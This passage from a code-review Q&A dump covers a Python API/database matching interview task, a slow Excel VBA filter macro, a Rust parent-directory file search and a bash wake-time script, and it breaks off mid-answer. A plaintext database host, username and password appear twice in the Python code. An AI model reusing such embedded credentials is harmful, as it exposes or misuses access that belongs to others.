"body": "@1201ProgramAlarm The 'CREATE TABLE' script is part of a requirement to design a table that would house the sample result data in the output.txt file. The sql script is not supposed to run or do anything, just there to show how the table would look. In the output file there are some sample data. I have also added a comment in the code. You can run the code if you want, it should work. Please let me know if that makes sense."
}
] |
[
{
"body": "<p>I would keep the configuration in a config file. This also prevents stuff like:</p>\n\n<pre><code># database configuration\ndatabase_config = {'host': 'candidate-coding-challenge.dox.pub',\n 'user': 'de_candidate',\n 'password': 'P8MWmPPBLhhLX79n',\n 'port': 3316,\n 'database': 'data_engineer'}\n</code></pre>\n\n<p>Where you could accidentily upload your password. The way I do this is by adding:</p>\n\n<pre><code>folder/\n .gitignore\n main.py\n config/\n config.yaml\n config.yaml-template\n</code></pre>\n\n<p>Here the <code>config.yaml</code> would be added to the <code>.gitignore</code> and all non-sensitive info could be already filled out in the <code>config.yaml-template</code>.</p>\n\n<hr>\n\n<p>I would also not have your file run on import. You can do this with a simple structure like:</p>\n\n<pre><code>def main():\n # do stuff\n\nif __name__ == '__main__':\n main()\n</code></pre>\n\n<hr>\n\n<p>Furthermore <code>api_endpoint_iterator</code> is a very long function, I would try to split it into smaller functions which are easier to test.</p>\n\n<hr>\n\n<p>Lastly, you explain what what is using:</p>\n\n<pre><code>#\n# Section description\n#\n</code></pre>\n\n<p>This might work for shorter assignments, but I preffer to split it into files so you can easier find everything:</p>\n\n<pre><code>folder/\n .gitignore\n main.py\n config/\n config.yaml\n config.yaml-template\n utils/\n helper_functions.py\n core/\n main_functions.py\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T19:36:03.683",
"Id": "464174",
"Score": "0",
"body": "I up-voted, but it won't display since my reputation isn't high enough. Thank you very much for the feedback, it's incredibly helpful. If there are any other ways to improve the code I would be very appreciative. Do you have any good examples of how to organize code... like using config, utils, and core directories? Thanks again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T13:22:26.403",
"Id": "464251",
"Score": "0",
"body": "@DanielR I made this as an example for my friends: https://gitlab.com/nathan_vanthof/space_invaders"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T11:22:11.390",
"Id": "236776",
"ParentId": "236739",
"Score": "2"
}
},
{
"body": "<p>First impression is the code is well-documented and is easy to read, especially given the context of it being an interview assignment. But there are definitely places where it can be improved, so let's start with the low-hanging fruit: execution time performance and memory consumption.</p>\n\n<hr>\n\n<h1><code>requests.Session</code></h1>\n\n<p>All API calls are to the same host, so we can take advantage of this and make all calls via the same <code>requests.Session</code> object for better performance. From the <a href=\"https://requests.readthedocs.io/en/master/user/advanced/#session-objects\" rel=\"nofollow noreferrer\"><code>requests</code> documentation on Session Objects</a>:</p>\n\n<blockquote>\n <p>The Session object allows you to persist certain parameters across requests. It also persists cookies across all requests made from the Session instance, and will use <code>urllib3</code>’s <a href=\"https://urllib3.readthedocs.io/en/latest/reference/index.html#module-urllib3.connectionpool\" rel=\"nofollow noreferrer\">connection pooling</a>. So if you’re making several requests to the same host, the underlying TCP connection will be reused, which can result in a significant performance increase (see <a href=\"https://en.wikipedia.org/wiki/HTTP_persistent_connection\" rel=\"nofollow noreferrer\">HTTP persistent connection</a>).</p>\n</blockquote>\n\n<p>Example:</p>\n\n<pre class=\"lang-python prettyprint-override\"><code>with requests.Session() as session:\n for page_number in range(1, num_pages + 1):\n # ...\n json_response = session.get(url, params=params).json()\n</code></pre>\n\n<p>I tested this on a refactored version of your code, and this change alone almost halved the total execution time.</p>\n\n<h1>Memory footprint</h1>\n\n<p>Your code uses generators which is great for memory efficiency, but can we do better? Let's look at a memory trace of your code using the <a href=\"https://docs.python.org/3/library/tracemalloc.html#pretty-top\" rel=\"nofollow noreferrer\">\"Pretty top\" recipe from <code>tracemalloc</code></a>:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>Top 10 lines\n#1: json/decoder.py:353: 494.7 KiB\n obj, end = self.scan_once(s, idx)\n#2: pymysql/connections.py:1211: 202.8 KiB\n return tuple(row)\n#3: requests/models.py:828: 168.7 KiB\n self._content = b''.join(self.iter_content(CONTENT_CHUNK_SIZE)) or b''\n#4: ./old_db.py:100: 67.5 KiB\n users.sort(key=lambda user: (user['lastname'], user['firstname']))\n#5: <frozen importlib._bootstrap_external>:580: 57.7 KiB\n#6: python3.8/abc.py:102: 13.5 KiB\n return _abc_subclasscheck(cls, subclass)\n#7: urllib3/poolmanager.py:297: 6.4 KiB\n base_pool_kwargs = self.connection_pool_kw.copy()\n#8: ./old_db.py:92: 6.0 KiB\n users += r_json['users']\n#9: urllib3/poolmanager.py:167: 5.1 KiB\n self.key_fn_by_scheme = key_fn_by_scheme.copy()\n#10: python3.8/re.py:310: 5.0 KiB\n _cache[type(pattern), pattern, flags] = p\n686 other: 290.4 KiB\nTotal allocated size: 1317.8 KiB\n</code></pre>\n\n<p>Shown above are the 10 lines allocating the most memory. It might not be immediately obvious, but the fairly high memory usages in #1, #2, and #4 can all be attributed to using a Python dictionary as a storage container for each database/API record. Basically, using a dictionary in this way is expensive and unnecessary since we're never really adding/removing/changing fields in one of these dictionaries once we've read it into memory.</p>\n\n<p>The memory hotspots:</p>\n\n<ul>\n<li>Using <code>pymysql.cursors.DictCursor</code> to return each row in the query results as a dictionary, combined with the fact that we're making batched fetches of <code>size=5000</code> rows at a time -- that's not a small number of dictionaries to hold in memory at one time. Plus, through testing I determined that there is virtually no difference in speed (execution time) between fetching in batches from the database versus retrieving rows one at a time using the unbuffered <code>pymysql.cursors.SSCursor</code>, so <code>SSCursor</code> is probably the better choice here</li>\n<li>Reading in, accumulating, and sorting dictionaries in <code>api_endpoint_iterator</code></li>\n<li><p>Side note: #3 above can actually be eliminated by merging the following two lines into one, since we never use <code>r</code> again after calling <code>json()</code> on it:</p>\n\n<pre class=\"lang-python prettyprint-override\"><code># Before\nr = requests.get(endpoint_url, params=payload)\nr_json = r.json()\n\n# After\nr_json = requests.get(endpoint_url, params=payload).json()\n</code></pre></li>\n</ul>\n\n<p>A better alternative in this case is to use a <a href=\"https://docs.python.org/3.8/library/typing.html#typing.NamedTuple\" rel=\"nofollow noreferrer\"><code>NamedTuple</code></a> to represent each record. <code>NamedTuple</code>s are immutable, have a smaller memory footprint than dictionaries, are sortable like regular tuples, and are the preferred option when you know all of your fields and their types in advance.</p>\n\n<p>Having something like the following gives us a nice, expressive, compact type that also makes the code easier to read:</p>\n\n<pre class=\"lang-python prettyprint-override\"><code>from typing import NamedTuple\n\n\nclass ExternalUser(NamedTuple):\n last_name: str\n first_name: str\n user_id: int\n last_active_date: str\n practice_location: str\n specialty: str\n user_type_classification: str\n</code></pre>\n\n<p>At the end of this review is a refactored version of the code which uses <code>NamedTuple</code>s. Here's a preview of what its memory trace looks like:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>Top 10 lines\n#1: <frozen importlib._bootstrap_external>:580: 54.0 KiB\n#2: python3.8/abc.py:102: 12.8 KiB\n return _abc_subclasscheck(cls, subclass)\n#3: urllib3/poolmanager.py:297: 12.5 KiB\n base_pool_kwargs = self.connection_pool_kw.copy()\n#4: json/decoder.py:353: 5.0 KiB\n obj, end = self.scan_once(s, idx)\n#5: pymysql/converters.py:299: 4.5 KiB\n return datetime.date(*[ int(x) for x in obj.split('-', 2) ])\n#6: json/encoder.py:202: 4.2 KiB\n return ''.join(chunks)\n#7: ./new_db.py:201: 3.5 KiB\n return {\n#8: pymysql/connections.py:1206: 3.1 KiB\n data = data.decode(encoding)\n#9: python3.8/_strptime.py:170: 2.8 KiB\n class TimeRE(dict):\n#10: python3.8/_strptime.py:30: 2.7 KiB\n class LocaleTime(object):\n641 other: 276.6 KiB\nTotal allocated size: 381.5 KiB\n</code></pre>\n\n<hr>\n\n<h1>Context managers</h1>\n\n<p>It's not provided out of the box by the <code>pymysql</code> module, but you should use a context manager for the database connection to ensure that the connection is always closed, even after an unexpected program halt due to an exception.</p>\n\n<p>Right now if your program were to encounter an exception anywhere in between <code>connection = pymysql.connect(...)</code> and <code>connection.close()</code>, the connection might not be closed safely.</p>\n\n<p>Here's an example of how you could make your own context manager for the connection:</p>\n\n<pre class=\"lang-python prettyprint-override\"><code>import pymysql\nfrom typing import Dict, Any, Iterator\nfrom contextlib import contextmanager\n\n\n@contextmanager\ndef database_connection(\n config: Dict[str, Any]\n) -> Iterator[pymysql.connections.Connection]:\n connection = pymysql.connect(**config)\n try:\n yield connection\n finally:\n connection.close()\n\n\n# Example usage\nwith database_connection(config) as connection:\n # Note: context managers for cursors __are__ provided by pymysql\n with connection.cursor(pymysql.cursors.SSCursor) as cursor:\n cursor.execute(query)\n # ...\n\n</code></pre>\n\n<h1>Type hints</h1>\n\n<p>Consider using <a href=\"https://docs.python.org/3/library/typing.html\" rel=\"nofollow noreferrer\">type hints</a> to:</p>\n\n<ul>\n<li>improve code readability</li>\n<li>increase confidence in code correctness with the help of a static type checker like <a href=\"http://mypy-lang.org/\" rel=\"nofollow noreferrer\"><code>mypy</code></a></li>\n</ul>\n\n<p>For example, the method that provides a stream of external users from the API has some fairly dense logic in it, but with type hints we can just look at the method signature to guess what it's doing or what to expect from it:</p>\n\n<pre class=\"lang-python prettyprint-override\"><code>def api_records(api_url: str) -> Iterator[ExternalUser]:\n # ...\n</code></pre>\n\n<h1>Generator of matching pairs</h1>\n\n<p>At the top level of code execution, there's some logic where we iterate over both internal and external users in order to find all matching pairs, where a matching pair is an internal user record and an external user record with the same first and last name.</p>\n\n<p>It would be cleaner to go one step further with generators and extract this logic into its own method that returns a generator. In other words, we could have two input streams (internal and external user records) and our output would then be a stream of matching pairs of internal and external user records:</p>\n\n<pre class=\"lang-python prettyprint-override\"><code>def matching_users(\n internal_users: Iterator[InternalUser],\n external_users: Iterator[ExternalUser],\n) -> Iterator[Tuple[InternalUser, ExternalUser]]:\n # ...\n</code></pre>\n\n<p>This is a nicer abstraction to work with; the client gets direct access to all the matching pairs, and can iterate over them to get the total number of matches and/or save a subset of the matches to a report.</p>\n\n<hr>\n\n<h1>Refactored version</h1>\n\n<p>Below is the refactored version with the above suggestions incorporated:</p>\n\n<pre class=\"lang-python prettyprint-override\"><code>#!/usr/bin/env python3\n\nfrom __future__ import annotations\n\nimport time\nimport requests\nimport datetime\nimport json\nimport pymysql\nfrom typing import (\n NamedTuple,\n TypeVar,\n Dict,\n List,\n Iterator,\n Callable,\n Any,\n Tuple,\n)\nfrom collections import OrderedDict\nfrom functools import partial\nfrom contextlib import contextmanager\nfrom textwrap import dedent\n\n\nT = TypeVar(\"T\")\n\n\nclass Config(NamedTuple):\n host: str\n user: str\n password: str\n port: int\n database: str\n\n\nclass InternalUser(NamedTuple):\n last_name: str\n first_name: str\n user_id: int\n last_active_date: datetime.date\n platform_registered_on: str\n practice_id: int\n specialty: str\n classification: str\n\n\nclass ExternalUser(NamedTuple):\n last_name: str\n first_name: str\n user_id: int\n last_active_date: str\n practice_location: str\n specialty: str\n user_type_classification: str\n\n\n@contextmanager\ndef database_connection(\n config: Config,\n) -> Iterator[pymysql.connections.Connection]:\n connection = pymysql.connect(\n host=config.host,\n user=config.user,\n password=config.password,\n port=config.port,\n database=config.database,\n )\n try:\n yield connection\n finally:\n connection.close()\n\n\ndef database_records(\n config: Config, query: str, record_type: Callable[..., T]\n) -> Iterator[T]:\n with database_connection(config) as connection:\n with connection.cursor(pymysql.cursors.SSCursor) as cursor:\n cursor.execute(query)\n for row in cursor:\n yield record_type(*row)\n\n\ndef api_records(api_url: str) -> Iterator[ExternalUser]:\n def load_users(\n storage: OrderedDict[str, List[ExternalUser]],\n users: List[Dict[str, Any]],\n ) -> None:\n for user in users:\n ext_user = ExternalUser(\n last_name=user[\"lastname\"],\n first_name=user[\"firstname\"],\n user_id=user[\"id\"],\n last_active_date=user[\"last_active_date\"],\n practice_location=user[\"practice_location\"],\n specialty=user[\"specialty\"],\n user_type_classification=user[\"user_type_classification\"],\n )\n storage.setdefault(ext_user.last_name, []).append(ext_user)\n\n def available_sorted_users(\n storage: OrderedDict[str, List[ExternalUser]], remaining: bool = False\n ) -> Iterator[ExternalUser]:\n threshold = 0 if remaining else 1\n while len(storage) > threshold:\n _, user_list = storage.popitem(last=False)\n user_list.sort()\n yield from user_list\n\n user_dict: OrderedDict[str, List[ExternalUser]] = OrderedDict()\n with requests.Session() as session:\n params = {\"page\": 1}\n json_response = session.get(api_url, params=params).json()\n total_pages = json_response[\"total_pages\"]\n\n load_users(user_dict, json_response[\"users\"])\n yield from available_sorted_users(user_dict)\n\n for current_page in range(2, total_pages + 1):\n params = {\"page\": current_page}\n json_response = session.get(api_url, params=params).json()\n load_users(user_dict, json_response[\"users\"])\n yield from available_sorted_users(user_dict)\n\n yield from available_sorted_users(user_dict, remaining=True)\n\n\ndef matching_users(\n internal_users: Iterator[InternalUser],\n external_users: Iterator[ExternalUser],\n) -> Iterator[Tuple[InternalUser, ExternalUser]]:\n internal_user = next(internal_users, None)\n external_user = next(external_users, None)\n\n while internal_user and external_user:\n internal_name = (internal_user.last_name, internal_user.first_name)\n external_name = (external_user.last_name, external_user.first_name)\n\n if internal_name == external_name:\n yield (internal_user, external_user)\n internal_user = next(internal_users, None)\n external_user = next(external_users, None)\n elif internal_name < external_name:\n internal_user = next(internal_users, None)\n else:\n external_user = next(external_users, None)\n\n\ndef active_recently(\n current_date: datetime.date, num_days: int, last_active_date: datetime.date\n) -> bool:\n return (current_date - last_active_date).days <= num_days\n\n\ndef create_user_dict(\n internal_user: InternalUser,\n external_user: ExternalUser,\n is_active: Callable[[datetime.date], bool],\n) -> Dict[str, Any]:\n internal_user_is_active = is_active(internal_user.last_active_date)\n external_user_last_active_date = datetime.datetime.strptime(\n external_user.last_active_date, \"%Y-%m-%d\"\n ).date()\n external_user_is_active = is_active(external_user_last_active_date)\n\n return {\n \"firstname\": internal_user.first_name,\n \"lastname\": internal_user.last_name,\n \"specialty\": internal_user.specialty,\n \"practice_location\": external_user.practice_location,\n \"platform_registered_on\": internal_user.platform_registered_on,\n \"internal_classification\": internal_user.classification,\n \"external_classification\": external_user.user_type_classification,\n \"is_active_internal_platform\": internal_user_is_active,\n \"is_active_external_platform\": external_user_is_active,\n }\n\n\nif __name__ == \"__main__\":\n start_time = time.time()\n\n CURRENT_DATE = datetime.date(2017, 2, 2)\n is_active = partial(active_recently, CURRENT_DATE, 30)\n\n WAREHOUSE_SAMPLE_USER_COUNT = 10\n warehouse_samples = []\n\n API_URL = \"http://de-tech-challenge-api.herokuapp.com/api/v1/users\"\n DB_CONFIG = Config(\n host=\"candidate-coding-challenge.dox.pub\",\n user=\"de_candidate\",\n password=\"P8MWmPPBLhhLX79n\",\n port=3316,\n database=\"data_engineer\",\n )\n DB_QUERY = \"\"\"\n SELECT lastname\n ,firstname\n ,id\n ,last_active_date\n ,platform_registered_on\n ,practice_id\n ,specialty\n ,classification\n FROM user\n ORDER BY lastname, firstname\n \"\"\"\n\n internal_users = database_records(DB_CONFIG, DB_QUERY, InternalUser)\n external_users = api_records(API_URL)\n users_in_both_systems = matching_users(internal_users, external_users)\n\n for i, (internal_user, external_user) in enumerate(users_in_both_systems):\n if i < WAREHOUSE_SAMPLE_USER_COUNT:\n warehouse_samples.append(\n create_user_dict(internal_user, external_user, is_active)\n )\n\n # At the end of the for loop, `i` is the \"index number\"\n # of the last match => `i + 1` is the total number of matches\n total_matches = i + 1\n\n warehouse_sample = json.dumps({\"users\": warehouse_samples}, indent=4)\n\n SQL_DDL = dedent(\n \"\"\"\n CREATE TABLE user_active_status (\n id INT NOT NULL AUTO_INCREMENT,\n first_name VARCHAR(50),\n last_name VARCHAR(50),\n specialty VARCHAR(50),\n practice_location VARCHAR(50),\n platform_registered_on VARCHAR(25),\n internal_classification VARCHAR(50),\n external_classification VARCHAR(50),\n is_active_internal_platform TINYINT(1),\n is_active_external_platform TINYINT(1)\n PRIMARY KEY (id)\n );\n \"\"\"\n ).strip()\n\n end_time = time.time()\n elapsed_time = round(end_time - start_time)\n minutes = int(elapsed_time / 60)\n seconds = elapsed_time % 60\n\n with open(\"output.txt\", \"w\") as f:\n f.write(f\"Elapsed Time: {minutes} minutes, {seconds} seconds\\n\\n\")\n f.write(f\"Total Matches: {total_matches}\\n\\n\")\n f.write(f\"Sample Matches:\\n{warehouse_sample}\\n\\n\")\n f.write(f\"SQL DDL:\\n{SQL_DDL}\\n\")\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-09T12:49:05.307",
"Id": "236925",
"ParentId": "236739",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T20:13:38.570",
"Id": "236739",
"Score": "3",
"Tags": [
"python",
"interview-questions",
"api",
"database",
"generator"
],
"Title": "Access a database and an API, uses python generators, and matches the results based on names, interview assignment"
}
|
236739
|
<pre><code>For Each MyIndex In Worksheets
If MyIndex.Name = "Inv_IB" Or MyIndex.Name = "Inv_MP"
With Sheets(MyIndex.Name)
nFilasActual = .Cells(Rows.Count, 4).End(xlUp).Row
Set dataRng = .Range("A2", .Range("N" & nFilasActual))
dataRng.Sort key1:=Range("E2"), order1:=xlAscending
dataRng.AutoFilter Field:=5, Criteria1:="<>ME"
Application.DisplayAlerts = False
dataRng.Offset(1, 0).Resize(dataRng.Rows.Count - 1).SpecialCells(xlCellTypeVisible).Rows.Delete
Application.DisplayAlerts = True
.ShowAllData
nFilasActual = .Cells(Rows.Count, 4).End(xlUp).Row
Set dataRng = .Range("A2", .Range("N" & nFilasActual))
dataRng.Sort key1:=Range("C2"), order1:=xlAscending
dataRng.AutoFilter Field:=3, Criteria1:="<>BODEGA IND"
Application.DisplayAlerts = False
dataRng.Offset(1, 0).Resize(dataRng.Rows.Count - 1).SpecialCells(xlCellTypeVisible).Rows.Delete
Application.DisplayAlerts = True
.ShowAllData
nFilasActual = .Cells(Rows.Count, 4).End(xlUp).Row
dataRng.Sort key1:=Range("H2"), order1:=xlAscending
.Range("A2:A" & nFilasActual).FormulaR1C1 = "=IF(RC[2]<>R[-1]C[2],1,IF(RC[6]=R[-1]C[6],R[-1]C,R[-1]C+1))"
.Range("O2").FormulaR1C1 = "=1"
.Range("O3:O" & nFilasActual).FormulaR1C1 = "=R[-1]C + 1"
End With
End If
Next MyIndex
</code></pre>
<p>I'm saving info on these 2 sheets from another WorkBook. Then I want to filter this and delete the rest of the info. This is taking too long for what I want. Any ideas for how I can speed this up?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T22:47:44.477",
"Id": "464083",
"Score": "0",
"body": "Could you [edit] the question to include more details about what the code is supposed to do?"
}
] |
[
{
"body": "<p>Instead of deleting the rows, maybe you should delete (clear) the data you do not want to keep. Then sort the remaining data to move the empty rows at the bottom. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T21:59:03.403",
"Id": "236747",
"ParentId": "236740",
"Score": "1"
}
},
{
"body": "<p>The code as is suffers from a few problems, the most obvious at first glance ones being:</p>\n\n<h3>Lack of Vertical Spacing</h3>\n\n<p>All the code is compressed into very little vertical space. It's not easy to mentally follow along with an infodump. Instead a maintainer would have it easier if they could <strong>see</strong> logical units in the code.</p>\n\n<p>This can be as easy as adding a single empty line before each section starting with `nFilasActual´.</p>\n\n<h3>Lack of Abstraction</h3>\n\n<p>This code is indented four levels deep. After the second level of indentation, you <strong>should</strong> consider extracting the code into a method, just to maintain a cohesive level off semantic abstraction.</p>\n\n<p>Intermingling \"high-level\" method calls and \"low-level\" iterations is very much less than ideal. Instead you want code that's in the same procedure to have a roughly equal level of abstraction. This reduces the strain on the reader, because reading requires less context-switching.</p>\n\n<hr>\n\n<p>Here are a few simplifications I'd make:</p>\n\n<h3>Extract Simple Helper Procedures</h3>\n\n<p>Since you repeat the following code twice, it's a good candidate for a separate procedure:</p>\n\n<pre class=\"lang-vb prettyprint-override\"><code>Sub SilentDeleteVisibleRows(filteredRange As Range)\n Application.DisplayAlerts = False\n filteredRange.Offset(1, 0).Resize(filteredRange.Rows.Count - 1) _\n .SpecialCells(xlCellTypeVisible).Rows.Delete\n ' This assumes DisplayAlerts was True before calling this method.\n ' Alternatively the state could be stored into a variable.\n Application.DisplayAlerts = True\nEnd Sub\n</code></pre>\n\n<p>Searching the number of lines is also something you do thrice:</p>\n\n<pre class=\"lang-vb prettyprint-override\"><code>Function NumberOfLines(sheet As Worksheet) As Long\n NumberOfLines = sheet.Cells(Rows.Count, 4).End(xlUp).Row\nEnd Function\n</code></pre>\n\n<p>You might also want to extract the whole <code>With</code> block into some procedure with a good name to help the readability of the code overall (and reduce the level of indentation, freeing horizontal space).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T22:16:08.033",
"Id": "236748",
"ParentId": "236740",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T20:19:32.917",
"Id": "236740",
"Score": "1",
"Tags": [
"vba",
"excel"
],
"Title": "Autofiltering and deleting rows two times too slow"
}
|
236740
|
<p>As a Rust beginner, I would like to know how I could improve the following points considering the function below:</p>
<ul>
<li>Handling <code>Path</code> and <code>PathBuf</code> types correctly;</li>
<li>Performance;</li>
<li>Rust writing style in general.</li>
</ul>
<p>Here is the function, decorated with a full working example:</p>
<pre><code>use std::env;
use std::path::{Path, PathBuf};
const RUSV_FILENAME: &str = ".rusv.json";
/**
* Find a rusv file in the current or parent directories of the given directory.
*/
fn find_rusv_file(starting_directory: &Path) -> Option<PathBuf> {
let mut directory = starting_directory;
let rusv_filename = Path::new(&RUSV_FILENAME);
loop {
let filepath: PathBuf = [
directory,
rusv_filename
].iter().collect();
if filepath.is_file() {
return Some(filepath);
}
match directory.parent() {
Some(parent) => directory = parent,
None => return None,
}
}
}
fn main() -> std::io::Result<()> {
let path = env::current_dir()?;
match find_rusv_file(&path) {
Some(filepath) => println!("Rusv file was found: {:?}", filepath),
None => println!("No rusv file was found."),
};
Ok(())
}
</code></pre>
<p>My question is <em>not</em> about:</p>
<ul>
<li>Creating a more generic function (e.g. by giving the filename as an argument);</li>
<li>Anything related to the <code>main()</code> function.</li>
</ul>
|
[] |
[
{
"body": "<blockquote>\n <p>Handling Path and PathBuf types correctly;</p>\n</blockquote>\n\n<p>My concern is that you recreate <code>PathBuf</code> every time, I don't see the point to have a buffer if you don't use it.</p>\n\n<blockquote>\n <p>Performance;</p>\n</blockquote>\n\n<p>I think it's ok, you search one file in particular the time you take creating the string is cheap compare to system call. So I don't think <code>read_dir</code> is better on your case. This could be benchmarked.</p>\n\n<blockquote>\n <p>Rust writing style in general.</p>\n</blockquote>\n\n<p>You are using <code>return</code>, on your case maybe use <code>break</code> to make your function SESE (single entry single exit).</p>\n\n<p><code>Path::new(&RUSV_FILENAME);</code> the reference is not needed <code>Path::new(RUSV_FILENAME);</code>.</p>\n\n<pre class=\"lang-rust prettyprint-override\"><code>fn find_rusv_file(starting_directory: &Path) -> Option<PathBuf> {\n let mut path: PathBuf = starting_directory.into();\n let file = Path::new(RUSV_FILENAME);\n\n loop {\n path.push(file);\n\n if path.is_file() {\n break Some(path);\n }\n\n if !(path.pop() && path.pop()) { // remove file && remove parent\n break None;\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:14:46.627",
"Id": "236771",
"ParentId": "236743",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "236771",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T20:38:47.897",
"Id": "236743",
"Score": "4",
"Tags": [
"file-system",
"rust"
],
"Title": "Find a file in current or parent directories"
}
|
236743
|
<p>This script tries to determine the time when you woke up.</p>
<p>Of course, it only applies if you turn your computer on not too long ago after getting out of bed.</p>
<p>If not, it might still be useful as an indicator of when you turned your computer on.</p>
<p>It works by getting information from journalctrl, sleep-resume dates and boot dates.</p>
<p>It then loops through them and tries to find when the difference is above a certain gap (5 hours by default, it can be configured with the -g flag).</p>
<p>Then it prints the time and "timeago" information of when you probably woke up.</p>
<pre><code>#!/bin/bash
gap=18000
while [ ! $# -eq 0 ]
do
case "$1" in
--help | -h)
printf "Version: 1.2.1\nFlags:\n\t-g or --gap: Specifies the chunks of time between two dates to determine when you probably woke up (default is 5)\n"
exit
;;
--gap | -g)
gap=$(($2 * 3600))
;;
esac
shift
done
current_date=$(date +%s)
readarray -t sleep_dates < <(journalctl -o short-unix -t systemd-sleep | grep resumed | tail -50 | awk -F. '{print $1}')
readarray -t boot_dates < <(journalctl --list-boots | tail -50 | awk '{ d2ts="date -d \""$3" "$4" " $5"\" +%s"; d2ts | getline $(NF+1); close(d2ts)} 1' | awk 'NF>1{print $NF}')
dates=( "${sleep_dates[@]}" "${boot_dates[@]}" )
readarray -t sorted_dates < <(printf '%s\n' "${dates[@]}" | sort)
for (( i=${#sorted_dates[@]}-1 ; i>=0; i-- )); do
diff=$((sorted_dates[i] - sorted_dates[i - 1]))
diff2=$((sorted_dates[i - 1] - sorted_dates[i - 2]))
if [ "$diff" -gt "$gap" ] && [ "$diff2" -lt "$gap" ]; then
sdate=$(date --date @${sorted_dates[i]} +"%r")
diff2=$((current_date - sorted_dates[i]))
hours_ago=$(echo "scale=2; ${diff2}/3600" | bc)
whole_hours=$(echo "(${hours_ago})/1" | bc)
decimals=$(echo "${hours_ago}" | grep -Eo "\.[0-9]+$")
minutes_ago=$(echo "(${decimals}*60)/1" | bc)
if [ "$whole_hours" -eq "1" ];
then
shours="hour"
else
shours="hours"
fi
if [ "$minutes_ago" -eq "1" ];
then
sminutes="minute"
else
sminutes="minutes"
fi
message="${whole_hours} ${shours} and ${minutes_ago} ${sminutes} ago ( ${sdate} )"
echo "$message"
break
fi
done
</code></pre>
|
[] |
[
{
"body": "<p>The thing with bash is more often then not... there is a tool that you can leverage to do what you want. When writing bash scripts, I try write as little bash as possible, and to leverage these tools where best possible to avoid bash (seems counter intuitive, but is the nature of bash to write as little bash as possible). For example have you heard of the command tuptime? (<a href=\"https://manpages.debian.org/testing/tuptime/tuptime.1.en.html\" rel=\"nofollow noreferrer\">https://manpages.debian.org/testing/tuptime/tuptime.1.en.html</a>)</p>\n\n<p>This is what it looks like after a reboot (is packaged with apt):</p>\n\n<pre><code>$ sudo apt-get install tuptime\n$ tuptime | grep \"System downtime\"\nSystem downtime: 0.15 % - 32 seconds\n</code></pre>\n\n<p>Is not a complete answer because does not cover the <code>>5</code> hrs case above. </p>\n\n<p>For reference, here is a run of tuptime</p>\n\n<pre><code>$ tuptime\nSystem startups: 2 since 11:02:34 AM 02/05/2020\nSystem shutdowns: 1 ok <- 0 bad\nSystem uptime: 99.85 % - 5 hours, 56 minutes and 45 seconds\nSystem downtime: 0.15 % - 32 seconds\nSystem life: 5 hours, 57 minutes and 17 seconds\n\nLargest uptime: 5 hours, 45 minutes and 12 seconds from 11:02:34 AM 02/05/2020\nShortest uptime: 11 minutes and 33 seconds from 04:48:18 PM 02/05/2020\nAverage uptime: 2 hours, 58 minutes and 23 seconds\n\nLargest downtime: 32 seconds from 04:47:46 PM 02/05/2020\nShortest downtime: 32 seconds from 04:47:46 PM 02/05/2020\nAverage downtime: 32 seconds\n\nCurrent uptime: 11 minutes and 33 seconds since 04:48:18 PM 02/05/2020\n</code></pre>\n\n<p>If wanting something more specific, I would also consider <code>last</code> command which gives you information about when people logged in or out (using <a href=\"http://man7.org/linux/man-pages/man1/last.1.html\" rel=\"nofollow noreferrer\">http://man7.org/linux/man-pages/man1/last.1.html</a>).</p>\n\n<pre><code>$ last reboot --time-format iso\nreboot system boot 4.15.0-76-generi 2020-02-05T16:48:22-0800 still running\nreboot system boot 4.15.0-76-generi 2020-02-05T11:02:38-0800 - 2020-02-05T16:47:57-0800 (05:45)\nreboot system boot 4.15.0-76-generi 2020-02-04T14:30:53-0800 - 2020-02-05T16:47:57-0800 (1+02:17)\nreboot system boot 4.15.0-76-generi 2020-02-03T15:28:38-0800 - 2020-02-04T14:30:29-0800 (23:01)\nreboot system boot 4.15.0-76-generi 2020-02-03T10:55:02-0800 - 2020-02-03T15:28:13-0800 (04:33)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T01:08:46.597",
"Id": "236757",
"ParentId": "236755",
"Score": "3"
}
},
{
"body": "<h1>Philosophy</h1>\n\n<p>You seemed to worry about the usefulness of this a bit when you said \"it might still be useful...\" It doesn't have to be useful! Was it fun? Did you learn something? I love personal data collection \n<a href=\"http://jehiah.cz/one-three/\" rel=\"nofollow noreferrer\">projects</a> like this. It is amazing what it can <a href=\"http://feltron.com/FAR14.html\" rel=\"nofollow noreferrer\">lead to</a>.</p>\n\n<p>I also find it interesting to see the idea of \"write as little bash as possible\" in a <em>code review</em>. While shell scripting isn't the oasis in a technology desert that it was thirty years ago it is still a good way to get a variety of things done. I write python for my job but I often have bash wrapper scripts. Each language has its strengths and the more you learn about each of them the better general programmer you will be. And if you ignore what you <em>should be</em> doing in bash then it is amazing <a href=\"https://github.com/tablespoon/fun/blob/master/cli-clock\" rel=\"nofollow noreferrer\">what you can do</a>.</p>\n\n<h1>Good Parts</h1>\n\n<p>Yes, really, I'm going to review your code.... Starting with some things I like:</p>\n\n<ul>\n<li>good 